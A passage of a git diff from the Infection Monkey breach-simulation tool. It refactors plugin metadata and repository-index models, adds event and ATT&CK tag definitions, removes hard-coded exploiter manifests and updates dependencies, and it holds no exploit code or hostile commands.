conint + +from common.types import Percent + +from . import AbstractAgentEvent + + +class RAMConsumptionEvent(AbstractAgentEvent): + """ + An event that occurs when the Agent consumes significant RAM for its own purposes. + + Attributes: + :param utilization: The percentage of the RAM is utilized + :param bytes: The number of bytes of RAM that are utilized + """ + + utilization: Percent + bytes: conint(ge=0, strict=True) # type: ignore [valid-type] diff --git a/monkey/common/agent_events/register.py b/monkey/common/agent_events/register.py index 796c161196e..c4aeaf8a3b2 100644 --- a/monkey/common/agent_events/register.py +++ b/monkey/common/agent_events/register.py @@ -3,6 +3,7 @@ CredentialsStolenEvent, ExploitationEvent, FileEncryptionEvent, + FingerprintingEvent, HostnameDiscoveryEvent, OSDiscoveryEvent, PasswordRestorationEvent, @@ -20,6 +21,7 @@ def register_common_agent_events( agent_event_registry.register(CredentialsStolenEvent) agent_event_registry.register(PingScanEvent) agent_event_registry.register(TCPScanEvent) + agent_event_registry.register(FingerprintingEvent) agent_event_registry.register(PropagationEvent) agent_event_registry.register(ExploitationEvent) agent_event_registry.register(PasswordRestorationEvent) diff --git a/monkey/common/agent_plugins/__init__.py b/monkey/common/agent_plugins/__init__.py index 42d98fdd4a4..865982a1c90 100644 --- a/monkey/common/agent_plugins/__init__.py +++ b/monkey/common/agent_plugins/__init__.py @@ -1,3 +1,5 @@ from .agent_plugin_type import AgentPluginType -from .agent_plugin_manifest import AgentPluginManifest +from .agent_plugin_manifest import PluginName, PluginVersion, AgentPluginManifest from .agent_plugin import AgentPlugin +from .agent_plugin_metadata import AgentPluginMetadata +from .agent_plugin_repository_index import AgentPluginRepositoryIndex diff --git a/monkey/common/agent_plugins/agent_plugin_manifest.py b/monkey/common/agent_plugins/agent_plugin_manifest.py index 65ba922fc13..3b2239aefa9 100644 --- a/monkey/common/agent_plugins/agent_plugin_manifest.py +++ b/monkey/common/agent_plugins/agent_plugin_manifest.py @@ -1,11 +1,46 @@ -from typing import Callable, Mapping, Optional, Tuple, Type +import re +from typing import Callable, Mapping, Optional, Self, Tuple, Type -from pydantic import HttpUrl +from pydantic import ConstrainedStr, HttpUrl +from semver import VersionInfo from common import OperatingSystem from common.agent_plugins import AgentPluginType from common.base_models import InfectionMonkeyBaseModel, InfectionMonkeyModelConfig -from common.types import PluginName, PluginVersion + + +class PluginName(ConstrainedStr): + """ + A plugin name + + Allowed characters are alphanumerics and underscore. + """ + + strip_whitespace = True + regex = re.compile("^[a-zA-Z0-9_]+$") + + +class PluginVersion(VersionInfo): + @classmethod + def __get_validators__(cls): + """Return a list of validator methods for pydantic models.""" + yield cls.from_str + + @classmethod + def __modify_schema__(cls, field_schema): + """Inject/mutate the pydantic field schema in-place.""" + field_schema.update( + examples=[ + "1.0.2", + "2.15.3-alpha", + "21.3.15-beta+12345", + ] + ) + + @classmethod + def from_str(cls, version: str) -> Self: + """Convert a string to a PluginVersion.""" + return cls.parse(version) class AgentPluginManifest(InfectionMonkeyBaseModel): diff --git a/monkey/common/agent_plugins/agent_plugin_metadata.py b/monkey/common/agent_plugins/agent_plugin_metadata.py new file mode 100644 index 00000000000..0c257cdac09 --- /dev/null +++ b/monkey/common/agent_plugins/agent_plugin_metadata.py @@ -0,0 +1,48 @@ +from pathlib import PurePosixPath +from typing import Any, Callable, Dict, Type, Union + +from pydantic import Field, validator + +from common.base_models import InfectionMonkeyBaseModel, InfectionMonkeyModelConfig + +from . import AgentPluginType, PluginName, PluginVersion + + +class AgentPluginMetadata(InfectionMonkeyBaseModel): + """ + Class for an Agent plugin's metadata + + Attributes: + :param name: Plugin name + :param plugin_type: Plugin type + :param resource_path: Path of the plugin package within the repository + :param sha256: Plugin file checksum + :param description: Plugin description + :param version: Plugin version + :param safe: Whether the plugin is safe for use in production environments + """ + + name: PluginName + plugin_type: AgentPluginType + resource_path: PurePosixPath + sha256: str = Field(regex=r"^[0-9a-fA-F]{64}$") + description: str + version: PluginVersion + safe: bool + + class Config(InfectionMonkeyModelConfig): + arbitrary_types_allowed = True + json_encoders: Dict[Type, Callable[[Any], Any]] = { + PurePosixPath: lambda path: str(path), + PluginVersion: lambda v: str(v), + } + + @validator("resource_path", pre=True) + def _str_to_pure_posix_path(cls, value: Union[PurePosixPath, str]) -> PurePosixPath: + if isinstance(value, PurePosixPath): + return value + + if isinstance(value, str): + return PurePosixPath(value) + + raise TypeError(f"Expected PurePosixPath or str but got {type(value)}") diff --git a/monkey/common/agent_plugins/agent_plugin_repository_index.py b/monkey/common/agent_plugins/agent_plugin_repository_index.py new file mode 100644 index 00000000000..03ee3c1ffa1 --- /dev/null +++ b/monkey/common/agent_plugins/agent_plugin_repository_index.py @@ -0,0 +1,69 @@ +import time +from typing import Any, Dict, List, Literal, Union + +from pydantic import Field, validator +from semver import VersionInfo + +from common.base_models import MutableInfectionMonkeyBaseModel, MutableInfectionMonkeyModelConfig + +from . import AgentPluginMetadata, AgentPluginType, PluginName + +DEVELOPMENT = "development" + + +class AgentPluginRepositoryIndex(MutableInfectionMonkeyBaseModel): + """ + Class for an Agent plugin repository's index + + Attributes: + :param timestamp: The time at which the repository was + last updated (seconds since the Unix epoch) + :param compatible_infection_monkey_version: Version of Infection Monkey that is + compatible with the plugins in the repository + :param plugins: Plugins' metadata, segregated by type and sorted by version + """ + + timestamp: float = Field(default_factory=time.time) + # We can't simply use `DEVELOPMENT` here because it throws `pydantic.errors.ConfigError`. + # This workaround requires us to ignore a mypy error. + compatible_infection_monkey_version: Union[ # type: ignore[valid-type] + VersionInfo, Literal[f"{DEVELOPMENT}"] + ] + plugins: Dict[AgentPluginType, Dict[PluginName, List[AgentPluginMetadata]]] + + class Config(MutableInfectionMonkeyModelConfig): + arbitrary_types_allowed = True + use_enum_values = True + json_encoders = { + **AgentPluginMetadata.Config.json_encoders, + VersionInfo: lambda v: str(v), + } + + @validator("plugins") + def _sort_plugins_by_version(cls, plugins): + # if a plugin has multiple versions, this sorts them in ascending order + for plugin_type in plugins: + for plugin_name in plugins[plugin_type]: + plugin_versions = plugins[plugin_type][plugin_name] + plugin_versions.sort(key=lambda plugin_version: plugin_version.version) + + return plugins + + @validator("compatible_infection_monkey_version", pre=True) + def _infection_monkey_version_parser( + cls, value: Union[VersionInfo, str, Dict[str, Any]] + ) -> Union[VersionInfo, Literal[f"{DEVELOPMENT}"]]: # type: ignore[valid-type] + if isinstance(value, VersionInfo): + return value + + if isinstance(value, str): + if value == DEVELOPMENT: + return value + + return VersionInfo.parse(value) + + raise TypeError(f'Expected "{DEVELOPMENT}" or a valid semantic version, got {type(value)}') + + @validator("plugins") + def _convert_str_type_to_enum(cls, plugins): + return {AgentPluginType(t): plugins for t, plugins in plugins.items()} diff --git a/monkey/common/agent_plugins/agent_plugin_type.py b/monkey/common/agent_plugins/agent_plugin_type.py index da598676750..1e92c326f78 100644 --- a/monkey/common/agent_plugins/agent_plugin_type.py +++ b/monkey/common/agent_plugins/agent_plugin_type.py @@ -1,7 +1,7 @@ -from enum import Enum +from enum import StrEnum -class AgentPluginType(Enum): +class AgentPluginType(StrEnum): CREDENTIALS_COLLECTOR = "Credentials_Collector" EXPLOITER = "Exploiter" FINGERPRINTER = "Fingerprinter" diff --git a/monkey/common/base_models.py b/monkey/common/base_models.py index 3979a5fc0cb..2745dc9c9a9 100644 --- a/monkey/common/base_models.py +++ b/monkey/common/base_models.py @@ -49,7 +49,10 @@ def __init__(self, **kwargs): # continue to serve as a wrapper until we can update all references to it. def dict(self, simplify=False, **kwargs): if simplify: - return json.loads(self.json()) + # Allow keyword arguments to be passed to `json()` + # We can pass kwargs to `json()` because the parameters of BaseModel.json() are a + # superset of those of BaseModel.dict(). + return json.loads(self.json(**kwargs)) return BaseModel.dict(self, **kwargs) diff --git a/monkey/infection_monkey/utils/decorators.py b/monkey/common/decorators.py similarity index 58% rename from monkey/infection_monkey/utils/decorators.py rename to monkey/common/decorators.py index dda9365224e..f51327e5f9b 100644 --- a/monkey/infection_monkey/utils/decorators.py +++ b/monkey/common/decorators.py @@ -1,5 +1,6 @@ import threading from functools import wraps +from typing import Any, Callable from egg_timer import EggTimer @@ -22,24 +23,43 @@ def request_cache(ttl: float): def raining_outside(): return requests.get(f"https://weather.service.api/check_for_rain/{MY_ZIP_CODE}") + The request cache can be manually cleared if desired: + status_1 = raining_outside() + status_2 = raining_outside() + raining_outside.clear_cache() + status_3 = raining_outside() + + assert status_1 == status_2 + assert status_1 != status_3 + :param ttl: The time-to-live in seconds for the cached return value :return: The return value of the decorated function, or the cached return value if the TTL has not elapsed. """ - def decorator(fn): + def decorator(fn: Callable) -> Callable: + cached_value = None + timer = EggTimer() + lock = threading.Lock() + @wraps(fn) - def wrapper(*args, **kwargs): - with wrapper.lock: - if wrapper.timer.is_expired(): - wrapper.cached_value = fn(*args, **kwargs) - wrapper.timer.set(ttl) + def wrapper(*args, **kwargs) -> Any: + nonlocal cached_value, timer, lock + + with lock: + if timer.is_expired(): + cached_value = fn(*args, **kwargs) + timer.set(ttl) + + return cached_value + + def clear_cache(): + nonlocal timer, lock - return wrapper.cached_value + with lock: + timer.set(0) - wrapper.cached_value = None - wrapper.timer = EggTimer() - wrapper.lock = threading.Lock() + wrapper.clear_cache = clear_cache # type: ignore [attr-defined] return wrapper diff --git a/monkey/common/hard_coded_manifests/__init__.py b/monkey/common/hard_coded_manifests/__init__.py index bea5929bbd9..e69de29bb2d 100644 --- a/monkey/common/hard_coded_manifests/__init__.py +++ b/monkey/common/hard_coded_manifests/__init__.py @@ -1,2 +0,0 @@ -from .hard_coded_exploiter_manifests import HARD_CODED_EXPLOITER_MANIFESTS -from .hard_coded_payloads_manifests import HARD_CODED_PAYLOADS_MANIFESTS diff --git a/monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py b/monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py deleted file mode 100644 index 085a7092d90..00000000000 --- a/monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py +++ /dev/null @@ -1,38 +0,0 @@ -from common.agent_plugins import AgentPluginManifest, AgentPluginType -from common.operating_system import OperatingSystem - -HARD_CODED_EXPLOITER_MANIFESTS = { - "Log4ShellExploiter": AgentPluginManifest( - name="Log4ShellExploiter", - plugin_type=AgentPluginType.EXPLOITER, - supported_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), - target_operating_systems=(OperatingSystem.WINDOWS, OperatingSystem.LINUX), - title="Log4Shell Exploiter", - version="1.0.0", - description="Exploits a software vulnerability (CVE-2021-44228) in Apache Log4j, a Java " - "logging framework. Exploitation is attempted on the following services — " - "Apache Solr, Apache Tomcat, Logstash.", - link_to_documentation="https://techdocs.akamai.com/infection-monkey/docs/log4shell/", - safe=True, - remediation_suggestion="Upgrade the Apache Log4j component to version 2.15.0 or later.\n\n" - "The server is vulnerable to the Log4Shell remote code execution attack.\n" - "This attack was possible due to an old version of Apache Log4j component " - "([CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)).", - ), - "SSHExploiter": AgentPluginManifest( - name="SSHExploiter", - plugin_type=AgentPluginType.EXPLOITER, - supported_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), - target_operating_systems=(OperatingSystem.LINUX,), - title="SSH Exploiter", - version="1.0.0", - description="Attempts a brute-force attack against SSH using known credentials, " - "including SSH keys", - link_to_documentation="https://techdocs.akamai.com/infection-monkey/docs/sshexec/", - safe=True, - remediation_suggestion="Change user passwords to a complex one-use password that is not " - "shared with other computers on the network. Protect private keys with a pass phrase.\n\n" - "The machine is vulnerable to an SSH attack.\n" - "An Infection Monkey Agent authenticated over the SSH protocol.", - ), -} diff --git a/monkey/common/hard_coded_manifests/hard_coded_payloads_manifests.py b/monkey/common/hard_coded_manifests/hard_coded_payloads_manifests.py deleted file mode 100644 index e025de24c46..00000000000 --- a/monkey/common/hard_coded_manifests/hard_coded_payloads_manifests.py +++ /dev/null @@ -1,19 +0,0 @@ -from common.agent_plugins import AgentPluginManifest, AgentPluginType -from common.operating_system import OperatingSystem - -HARD_CODED_PAYLOADS_MANIFESTS = { - "ransomware": AgentPluginManifest( - name="ransomware", - plugin_type=AgentPluginType.PAYLOAD, - supported_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), - target_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), - title="Ransomware Simulation", - version="1.0.0", - description="To simulate ransomware encryption, you'll need to provide Infection Monkey " - "with files that it can safely encrypt. Create a directory with some files on each " - "machine where the ransomware simulation will run." - "\n\nNo files will be encrypted if a directory is not specified or if the specified " - "directory doesn't exist on a victim machine. " - "Note that a README.txt will be left in the specified target directory.", - ) -} diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index 2c5ab7ddd5f..8d293f70136 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -14,4 +14,12 @@ DATA_ENCRYPTED_FOR_IMPACT_T1486_TAG, SYSTEM_SERVICES_T1569_TAG, SYSTEM_INFORMATION_DISCOVERY_T1082_TAG, + RESOURCE_HIJACKING_T1496_TAG, + ALTERNATE_AUTHENTICATION_MATERIAL_T1550_TAG, + CREDENTIALS_FROM_PASSWORD_STORES_T1555_TAG, + GATHER_VICTIM_HOST_INFORMATION_T1592_TAG, + ACTIVE_SCANNING_T1595_TAG, + DEFACEMENT_T1491_TAG, + INTERNAL_DEFACEMENT_T1491_001_TAG, + EXTERNAL_DEFACEMENT_T1491_002_TAG, ) diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index ae3047c6bd4..f00aec5c51e 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -1,3 +1,4 @@ +# TODO: Look through plugins and consider using subtechniques OS_CREDENTIAL_DUMPING_T1003_TAG = "attack-t1003" # credential access DATA_FROM_LOCAL_SYSTEM_T1005_TAG = "attack-t1005" # collection REMOTE_SERVICES_T1021_TAG = "attack-t1021" # lateral movement @@ -13,3 +14,11 @@ DATA_ENCRYPTED_FOR_IMPACT_T1486_TAG = "attack-t1486" # impact SYSTEM_SERVICES_T1569_TAG = "attack-t1569" # execution SYSTEM_INFORMATION_DISCOVERY_T1082_TAG = "attack-t1082" # discovery +RESOURCE_HIJACKING_T1496_TAG = "attack-t1496" # impact +ALTERNATE_AUTHENTICATION_MATERIAL_T1550_TAG = "attack-t1550" # lateral movement +CREDENTIALS_FROM_PASSWORD_STORES_T1555_TAG = "attack-t1555" # credential access +GATHER_VICTIM_HOST_INFORMATION_T1592_TAG = "attack-t1592" +ACTIVE_SCANNING_T1595_TAG = "attack-t1595" +DEFACEMENT_T1491_TAG = "attack-t1491" +INTERNAL_DEFACEMENT_T1491_001_TAG = "attack-t1491.001" +EXTERNAL_DEFACEMENT_T1491_002_TAG = "attack-t1491.002" diff --git a/monkey/common/types/__init__.py b/monkey/common/types/__init__.py index 475448a8355..df798bfb2ab 100644 --- a/monkey/common/types/__init__.py +++ b/monkey/common/types/__init__.py @@ -2,7 +2,14 @@ from .serialization import JSONSerializable from .ids import AgentID, HardwareID, MachineID from .int_range import IntRange -from .networking import NetworkService, NetworkPort, PortStatus, SocketAddress, NetworkProtocol -from .plugin_types import PluginName -from .plugin_types import PluginVersion +from .networking import ( + NetworkService, + NetworkPort, + PortStatus, + SocketAddress, + NetworkProtocol, + DiscoveredService, +) from .secrets import OTP, Token +from .file_extension import FileExtension +from .percent import Percent, PercentLimited, NonNegativeFloat diff --git a/monkey/common/types/concurrency.py b/monkey/common/types/concurrency.py index 65e893943a0..d0de04f1d8d 100644 --- a/monkey/common/types/concurrency.py +++ b/monkey/common/types/concurrency.py @@ -11,7 +11,7 @@ def __exit__( exc_type: Optional[Type[BaseException]], exc_val: Optional[BaseException], exc_tb: Optional[TracebackType], - ) -> None: + ) -> Optional[bool]: ... def acquire(self, blocking: bool = ..., timeout: float = ...) -> bool: diff --git a/monkey/common/types/file_extension.py b/monkey/common/types/file_extension.py new file mode 100644 index 00000000000..d147c15729b --- /dev/null +++ b/monkey/common/types/file_extension.py @@ -0,0 +1,9 @@ +import re + +FILE_EXTENSION_REGEX = re.compile(r"^\.[^\\/]+$") + + +class FileExtension(str): + def __init__(self, _): + if not FILE_EXTENSION_REGEX.match(self): + raise ValueError("Invalid file extension") diff --git a/monkey/common/types/networking.py b/monkey/common/types/networking.py index 42903b276c2..4be1cc24cdf 100644 --- a/monkey/common/types/networking.py +++ b/monkey/common/types/networking.py @@ -87,3 +87,12 @@ def __hash__(self): def __str__(self): return f"{self.ip}:{self.port}" + + +class DiscoveredService(InfectionMonkeyBaseModel): + protocol: NetworkProtocol + port: NetworkPort + service: NetworkService + + def __hash__(self) -> int: + return hash((self.protocol, self.port)) diff --git a/monkey/common/types/percent.py b/monkey/common/types/percent.py new file mode 100644 index 00000000000..7d29b1e0f17 --- /dev/null +++ b/monkey/common/types/percent.py @@ -0,0 +1,70 @@ +from typing import Any, Self, TypeAlias + +from pydantic import NonNegativeFloat as PydanticNonNegativeFloat + +NonNegativeFloat: TypeAlias = PydanticNonNegativeFloat + + +class Percent(NonNegativeFloat): + """ + A type representing a percentage + + Note that percentages can be greater than 100. For example, I may have consumed 120% of my quota + (if quotas aren't strictly enforced). + """ + + # This __init__() is required so that instances of Percent can be created. If you try to create + # an instance of NonNegativeFloat, no validation is performed. + def __init__(self, v: Any): + Percent._validate_range(v) + + @classmethod + def __get_validators__(cls): + for v in super().__get_validators__(): + yield v + + yield cls.validate + + @classmethod + def validate(cls, v: Any) -> Self: + cls._validate_range(v) + + # This is required so that floats passed into pydantic models are converted to instances of + # Percent objects. + return cls(v) + + @staticmethod + def _validate_range(v: Any): + if v < 0: + raise ValueError("value must be non-negative") + + def as_decimal_fraction(self) -> NonNegativeFloat: + """ + Return the percentage as a decimal fraction + + Example: 50% -> 0.5 + + return: The percentage as a decimal fraction + """ + return self / 100.0 + + +class PercentLimited(Percent): + """ + A type representing a percentage limited to 100 + """ + + le = 100 + + def __init__(self, v: Any): + PercentLimited._validate_range(v) + + @classmethod + def __get_validators__(cls): + for v in super().__get_validators__(): + yield v + + @staticmethod + def _validate_range(v: Any): + if not (0.0 <= v <= 100.0): + raise ValueError("value must be between 0 and 100") diff --git a/monkey/common/types/plugin_types.py b/monkey/common/types/plugin_types.py deleted file mode 100644 index 14ede759747..00000000000 --- a/monkey/common/types/plugin_types.py +++ /dev/null @@ -1,33 +0,0 @@ -import re - -from pydantic import ConstrainedStr -from semver import VersionInfo - - -class PluginName(ConstrainedStr): - """ - A plugin name - - Allowed characters are alphanumerics and underscore. - """ - - strip_whitespace = True - regex = re.compile("^[a-zA-Z0-9_]+$") - - -class PluginVersion(VersionInfo): - @classmethod - def __get_validators__(cls): - """Return a list of validator methods for pydantic models.""" - yield cls.parse - - @classmethod - def __modify_schema__(cls, field_schema): - """Inject/mutate the pydantic field schema in-place.""" - field_schema.update( - examples=[ - "1.0.2", - "2.15.3-alpha", - "21.3.15-beta+12345", - ] - ) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py deleted file mode 100644 index 4838b78d012..00000000000 --- a/monkey/common/utils/attack_utils.py +++ /dev/null @@ -1,8 +0,0 @@ -from enum import Enum - - -class ScanStatus(Enum): - # Technique was attempted/scanned - SCANNED = 1 - # Technique was attempted and succeeded - USED = 2 diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py deleted file mode 100644 index 1f013414a2f..00000000000 --- a/monkey/common/utils/exceptions.py +++ /dev/null @@ -1,2 +0,0 @@ -class FailedExploitationError(Exception): - """Raise when exploiter fails instead of returning False""" diff --git a/monkey/common/version.py b/monkey/common/version.py index 542b228a1fa..0397920a38f 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -4,8 +4,8 @@ from pathlib import Path MAJOR = "2" -MINOR = "2" -PATCH = "1" +MINOR = "3" +PATCH = "0" build_file_path = Path(__file__).parent.joinpath("BUILD") with open(build_file_path, "r") as build_file: diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index b4dd7dcc98d..a540fcfac91 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -12,23 +12,20 @@ psutil = ">=5.7.0" requests = ">=2.24" urllib3 = "==1.26.5" "WinSys-3.x" = "*" -ldaptor = "*" pywin32-ctypes = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement on windows pywin32 = {version = "*", sys_platform = "== 'win32'"} # Lock file is not created with sys_platform win32 requirement if not explicitly specified pefile = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement on windows paramiko = ">=3.1.0" pypubsub = "*" -pydantic = "*" +pydantic = "<2.0.0" egg-timer = "*" cryptography = "*" serpentarium = "==0.5.0" jsonschema = "*" semver = "==2.13.0" -pyasn1 = "==0.4.8" email-validator = "*" [dev-packages] -ldap3 = "*" mypy = "*" pytest-freezer = "*" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 418acdf0060..cff6427c9f9 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "8feb8b5ad799a60ad491c0a8b8fd5a68e7a187c5885d813f3b19c082c85cf4e5" + "sha256": "75961345d636b177a0ab6e33fe96ce52c6ba7016b73b4f68243082657cff2cd6" }, "pipfile-spec": 6, "requires": { @@ -31,13 +31,6 @@ "markers": "python_version >= '3.7'", "version": "==23.1.0" }, - "automat": { - "hashes": [ - "sha256:c3164f8742b9dc440f3682482d32aaff7bb53f71740dd018533f9de286b64180", - "sha256:e56beb84edad19dcc11d30e8d9b895f75deeb5ef5e96b84a467066b3b84bb04e" - ], - "version": "==22.10.0" - }, "bcrypt": { "hashes": [ "sha256:089098effa1bc35dc055366740a067a2fc76987e8ec75349eb9484061c54f535", @@ -223,37 +216,30 @@ "markers": "python_full_version >= '3.7.0'", "version": "==3.1.0" }, - "constantly": { - "hashes": [ - "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", - "sha256:dd2fa9d6b1a51a83f0d7dd76293d734046aa176e384bf6e33b7e44880eb37c5d" - ], - "version": "==15.1.0" - }, "cryptography": { "hashes": [ - "sha256:05dc219433b14046c476f6f09d7636b92a1c3e5808b9a6536adf4932b3b2c440", - "sha256:0dcca15d3a19a66e63662dc8d30f8036b07be851a8680eda92d079868f106288", - "sha256:142bae539ef28a1c76794cca7f49729e7c54423f615cfd9b0b1fa90ebe53244b", - "sha256:3daf9b114213f8ba460b829a02896789751626a2a4e7a43a28ee77c04b5e4958", - "sha256:48f388d0d153350f378c7f7b41497a54ff1513c816bcbbcafe5b829e59b9ce5b", - "sha256:4df2af28d7bedc84fe45bd49bc35d710aede676e2a4cb7fc6d103a2adc8afe4d", - "sha256:4f01c9863da784558165f5d4d916093737a75203a5c5286fde60e503e4276c7a", - "sha256:7a38250f433cd41df7fcb763caa3ee9362777fdb4dc642b9a349721d2bf47404", - "sha256:8f79b5ff5ad9d3218afb1e7e20ea74da5f76943ee5edb7f76e56ec5161ec782b", - "sha256:956ba8701b4ffe91ba59665ed170a2ebbdc6fc0e40de5f6059195d9f2b33ca0e", - "sha256:a04386fb7bc85fab9cd51b6308633a3c271e3d0d3eae917eebab2fac6219b6d2", - "sha256:a95f4802d49faa6a674242e25bfeea6fc2acd915b5e5e29ac90a32b1139cae1c", - "sha256:adc0d980fd2760c9e5de537c28935cc32b9353baaf28e0814df417619c6c8c3b", - "sha256:aecbb1592b0188e030cb01f82d12556cf72e218280f621deed7d806afd2113f9", - "sha256:b12794f01d4cacfbd3177b9042198f3af1c856eedd0a98f10f141385c809a14b", - "sha256:c0764e72b36a3dc065c155e5b22f93df465da9c39af65516fe04ed3c68c92636", - "sha256:c33c0d32b8594fa647d2e01dbccc303478e16fdd7cf98652d5b3ed11aa5e5c99", - "sha256:cbaba590180cba88cb99a5f76f90808a624f18b169b90a4abb40c1fd8c19420e", - "sha256:d5a1bd0e9e2031465761dfa920c16b0065ad77321d8a8c1f5ee331021fda65e9" + "sha256:059e348f9a3c1950937e1b5d7ba1f8e968508ab181e75fc32b879452f08356db", + "sha256:1a5472d40c8f8e91ff7a3d8ac6dfa363d8e3138b961529c996f3e2df0c7a411a", + "sha256:1a8e6c2de6fbbcc5e14fd27fb24414507cb3333198ea9ab1258d916f00bc3039", + "sha256:1fee5aacc7367487b4e22484d3c7e547992ed726d14864ee33c0176ae43b0d7c", + "sha256:5d092fdfedaec4cbbffbf98cddc915ba145313a6fdaab83c6e67f4e6c218e6f3", + "sha256:5f0ff6e18d13a3de56f609dd1fd11470918f770c6bd5d00d632076c727d35485", + "sha256:7bfc55a5eae8b86a287747053140ba221afc65eb06207bedf6e019b8934b477c", + "sha256:7fa01527046ca5facdf973eef2535a27fec4cb651e4daec4d043ef63f6ecd4ca", + "sha256:8dde71c4169ec5ccc1087bb7521d54251c016f126f922ab2dfe6649170a3b8c5", + "sha256:8f4ab7021127a9b4323537300a2acfb450124b2def3756f64dc3a3d2160ee4b5", + "sha256:948224d76c4b6457349d47c0c98657557f429b4e93057cf5a2f71d603e2fc3a3", + "sha256:9a6c7a3c87d595608a39980ebaa04d5a37f94024c9f24eb7d10262b92f739ddb", + "sha256:b46e37db3cc267b4dea1f56da7346c9727e1209aa98487179ee8ebed09d21e43", + "sha256:b4ceb5324b998ce2003bc17d519080b4ec8d5b7b70794cbd2836101406a9be31", + "sha256:cb33ccf15e89f7ed89b235cff9d49e2e62c6c981a6061c9c8bb47ed7951190bc", + "sha256:d198820aba55660b4d74f7b5fd1f17db3aa5eb3e6893b0a41b75e84e4f9e0e4b", + "sha256:d34579085401d3f49762d2f7d6634d6b6c2ae1242202e860f4d26b046e3a1006", + "sha256:eb8163f5e549a22888c18b0d53d6bb62a20510060a22fd5a995ec8a05268df8a", + "sha256:f73bff05db2a3e5974a6fd248af2566134d8981fd7ab012e5dd4ddb1d9a70699" ], "index": "pypi", - "version": "==40.0.2" + "version": "==41.0.1" }, "dnspython": { "hashes": [ @@ -279,13 +265,6 @@ "index": "pypi", "version": "==2.0.0.post2" }, - "hyperlink": { - "hashes": [ - "sha256:427af957daa58bc909471c6c40f74c5450fa123dd093fc53efd2e91d2705a56b", - "sha256:e6b14c37ecb73e89c77d78cdb4c2cc8f3fb59a885c5b3f819ff4ed80f25af1b4" - ], - "version": "==21.0.0" - }, "idna": { "hashes": [ "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4", @@ -302,13 +281,6 @@ "index": "pypi", "version": "==0.2.0" }, - "incremental": { - "hashes": [ - "sha256:912feeb5e0f7e0188e6f42241d2f450002e11bbc0937c65865045854c24c0bd0", - "sha256:b864a1f30885ee72c5ac2835a761b8fe8aa9c28b9395cacf27286602688d3e51" - ], - "version": "==22.10.0" - }, "ipaddress": { "hashes": [ "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", @@ -325,14 +297,6 @@ "index": "pypi", "version": "==4.17.3" }, - "ldaptor": { - "hashes": [ - "sha256:70521851c74b67b340619fc58bb7105619714e40287309572edb6e86f6d75bd0", - "sha256:8c49eb19375d4aab3e5b835860614e0cb17e56bb5a20e1874808fa5bec67a358" - ], - "index": "pypi", - "version": "==21.2.0" - }, "odict": { "hashes": [ "sha256:40ccbe7dbabb352bf857bffcce9b4079785c6d3a59ca591e8ab456678173c106" @@ -342,18 +306,11 @@ }, "paramiko": { "hashes": [ - "sha256:6950faca6819acd3219d4ae694a23c7a87ee38d084f70c1724b0c0dbb8b75769", - "sha256:f0caa660e797d9cd10db6fc6ae81e2c9b2767af75c3180fcd0e46158cd368d7f" + "sha256:93cdce625a8a1dc12204439d45033f3261bdb2c201648cfcdc06f9fd0f94ec29", + "sha256:df0f9dd8903bc50f2e10580af687f3015bf592a377cd438d2ec9546467a14eb8" ], "index": "pypi", - "version": "==3.1.0" - }, - "passlib": { - "hashes": [ - "sha256:aa6bca462b8d8bda89c70b382f0c298a20b5560af6cbfa2dce410c0a2fb669f1", - "sha256:defd50f72b65c5402ab2c573830a6978e5f202ad0d984793c8dde2c4152ebe04" - ], - "version": "==1.7.4" + "version": "==3.2.0" }, "pefile": { "hashes": [ @@ -384,33 +341,6 @@ "index": "pypi", "version": "==5.9.5" }, - "pyasn1": { - "hashes": [ - "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", - "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", - "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", - "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", - "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", - "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", - "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", - "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", - "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", - "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", - "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", - "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", - "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" - ], - "index": "pypi", - "version": "==0.4.8" - }, - "pyasn1-modules": { - "hashes": [ - 